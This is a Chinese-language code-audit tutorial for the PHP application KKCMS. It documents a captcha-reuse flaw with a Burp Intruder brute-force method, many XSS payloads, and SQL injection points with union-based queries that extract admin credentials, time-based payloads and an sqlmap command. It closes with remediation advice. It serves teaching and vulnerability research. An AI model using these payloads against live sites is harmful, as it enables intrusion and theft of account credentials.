记一次较为详细的某CMS代码审计
字数 1644 2025-08-26 22:11:34
KKCMS代码审计详细教学文档
前言
本次审计使用Seay+昆仑镜(Kunlun-M)进行漏洞扫描,结合两者的优势:
- Seay方便查看各个文件
- 昆仑镜能快速扫描出更多漏洞点
昆仑镜官方地址:https://github.com/LoRexxar/Kunlun-M
环境搭建
KKCMS环境搭建
- 下载KKCMS源码:https://github.com/liumengxiang/kkcms
- 解压至phpstudy目录下
- 访问install目录
- 新建kkcms数据库
- 安装过程中使用该数据库
- 安装完成后开始审计
目录结构
admin/ 后台管理目录
css/ CSS样式表目录
data/ 系统处理数据相关目录
install/ 网页安装目录
images/ 系统图片存放目录
template/ 模板目录
system/ 管理目录
漏洞审计
1. 验证码重用漏洞
文件位置:admin/cms_login.php
漏洞分析:
if(isset($_POST['submit'])){
if ($_SESSION['verifycode'] != $_POST['verifycode']) {
alert_href('验证码错误','cms_login.php');
}
// 其他验证逻辑...
}
验证码生成文件:
<?php
session_start();
$image = imagecreate(50, 34);
$str = '0123456789';
$rand_str = '';
for ($i = 0; $i < 4; $i++){
$k = mt_rand(1, strlen($str));
$rand_str .= $str[$k - 1];
}
$_SESSION['verifycode'] = $rand_str;
// 生成验证码图片...
?>
利用方法:
- 使用Burpsuite抓取登录请求
- 发送到Intruder模块
- 在密码字段添加变量
- 加载常用弱口令字典
- 开始爆破(因为Burpsuite默认不解析JS,可以绕过验证码)
2. XSS漏洞
2.1 wap/shang.php
漏洞代码:
// 直接输出$_GET['fee']参数
echo $_GET['fee'];
Payload:
fee=<script>alert(1)</script>
2.2 wap/seacher.php
漏洞代码:
$q=$_POST['wd'];
// 直接输出$q变量
<title>搜索<?php echo $q?>-<?php echo $xtcms_seoname;?></title>
<meta name="keywords" content="<?php echo $q?>,<?php echo $xtcms_keywords;?>">
Payload:
POST请求中:
wd=<script>alert(1)</script>
2.3 wap/movie.php
漏洞代码:
$yourneed = $_GET['m'];
echo getPageHtml($page,$fenye,'movie.php?m='.$yourneed.'&page=');
Payload:
m="><script>alert(111)</script>
同类文件:
- wap/tv.php
- wap/zongyi.php
- wap/dongman.php
2.4 admin/cms_ad.php(存储型XSS)
漏洞位置:后台广告管理
利用方法:
- 在广告名称处插入XSS代码
- 保存后,访问首页触发
Payload:
<script>alert(1)</script>
2.5 youlian.php
漏洞代码:
$data['content'] = addslashes($_POST['content']);
// 输出时未过滤
Payload:
<a href=Javascript:alert(1)>xss</a>
2.6 admin/cms_kamilist.php
漏洞代码:
<input id="id" class="input" type="hidden" name="id" value="<?php echo $_GET["id"] ?>"/>
Payload:
id="><script>alert(1)</script>
2.7 wx_api.php
漏洞代码:
public function valid() {
$echoStr = $_GET["echostr"];
if($this->checkSignature()){
echo $echoStr;
exit;
}
}
Payload:
?echostr=<script>alert('别当舔狗')</script>&signature=da39a3ee5e6b4b0d3255bfef95601890afd80709
3. SQL注入漏洞
3.1 bplay.php
漏洞代码:
$result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['play'].' ');
利用方法:
- 确定字段数:
play=1 order by 17 // 正常
play=1 order by 18 // 错误
- 联合查询:
play=-1 union select 1,2,3,0,0,6,7,8,9,10,11,12,13,14,15,16,17
- 查库:
play=-1 union select 1,2,3,0,0,6,7,8,database(),10,11,12,13,14,15,16,17
- 查表:
play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(table_name) from information_schema.tables where table_schema=database()),10,11,12,13,14,15,16,17
- 查列:
play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(column_name) from information_schema.columns where table_name=0x626565735f61646d696e),10,11,12,13,14,15,16,17
- 查数据:
play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(admin_name,0x7e,admin_password) from bees_admin),10,11,12,13,14,15,16,17
3.2 wap/login.php
漏洞代码:
$username = stripslashes(trim($_POST['name']));
$query = mysql_query("select u_id from xtcms_user where u_name='$username'");
利用方法:
- 使用Burpsuite抓包
- 保存为txt文件
- 使用SQLmap:
python sqlmap.py -r request.txt --dbs --batch
3.3 vlist.php
漏洞代码:
$result = mysql_query('select * from xtcms_vod_class where c_pid='.$_GET['cid'].' order by c_sort desc,c_id asc');
利用方法:
cid=1) and sleep(5) --+
3.4 admin/cms_admin_edit.php
漏洞代码:
$result = mysql_query('select * from xtcms_manager where m_id = '.$_GET['id'].'');
利用方法:
id=1 and sleep(5)
同类文件:
- admin/cms_user_edit.php
- admin/cms_nav_edit.php
- admin/cms_detail_edit.php
- admin/cms_channel_edit.php
- admin/cms_check_edit.php
- admin/cms_player_edit.php
- admin/cms_slideshow_edit.php
- admin/cms_ad_edit.php
- admin/cms_link_edit.php
- admin/cms_usercard_edit.php
- admin/cms_youlian_edit.php
3.5 admin/cms_detail.php
漏洞代码:
$sql = 'select * from xtcms_vod where d_parent in ('.$_GET['cid'].') order by d_id desc';
Payload:
cid=1) and sleep(1) --+
3.6 ucenter/repass.php
漏洞代码:
$username = stripslashes(trim($_POST['name']));
$query = mysql_query("select u_id from xtcms_user where u_name='$username' and u_email='$email'");
Payload:
name=1' AND (SELECT 3775 FROM (SELECT(SLEEP(5)))OXGU) AND 'XUOn'='XUOn&email=1@qq.com
同类文件:
- ucenter/active.php
- ucenter/reg.php
总结
通过本次审计,我们发现了KKCMS中存在的多种安全漏洞,包括:
- 验证码重用漏洞
- 多种XSS漏洞(反射型、存储型)
- 多处SQL注入漏洞
防护建议:
- 对所有用户输入进行严格过滤和转义
- 使用预编译语句防止SQL注入
- 对输出内容进行HTML实体编码
- 实现验证码一次性使用机制
- 对敏感操作增加二次验证
参考文献
- https://xz.aliyun.com/t/7711
- https://xz.aliyun.com/t/11322#toc-2